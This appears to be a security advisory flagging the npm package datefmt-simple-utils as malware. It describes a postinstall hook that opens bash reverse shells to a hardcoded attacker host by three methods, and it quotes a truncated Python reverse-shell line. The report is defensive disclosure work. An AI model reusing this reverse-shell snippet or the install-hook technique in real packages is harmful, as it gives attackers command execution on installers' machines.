GCVE-110-OSM-2026-10510

datefmt-simple-utils presents itself as a date-formatting utility, but its package.json declares scripts.postinstall="node postinstall.js", which fires automatically on npm install. postinstall.js connects a TCP socket to the hardcoded remote host 8.135.48.40 on port 4444 and attaches an interactive /bin/bash to that socket, giving the remote endpoint full command execution on the installer's machine. Three fallback techniques target the same host: a python3 pty.spawn reverse shell, a python3 subprocess-based variant, and a Node net.connect + spawn('/bin/bash', ['-i']) variant. The advertised date-formatting purpose is a cover story; no such functionality is wired into the install-time code path. Judge assessment: This is a reverse-shell installer intended for a remote attacker controlling 8.135.48.40:4444: the package.json postinstall hook runs `node postinstall.js`, and that file immediately tries three separate `/bin/bash` reverse-shell paths via Python PTY, Python subprocess, and Node `net.connect` + `spawn`. The attacker model is clear: compromise the installer's machine at install time with interactive command execution, not provide date-formatting functionality. The package also comes from a brand-new publisher account with no repository and a deceptive cover story in `index.js`, which reinforces malicious intent rather than a false positive. ENTRY postinstall.js (install-hook: node postinstall.js) - Install Hook Executes Local JS File in package.json EXFIL - Reverse Shell in postinstall.js: "socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1..." ADDITIONAL FINDINGS - Shell Command Execution in postinstall.js: "require('child_process')" - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES postinstall.js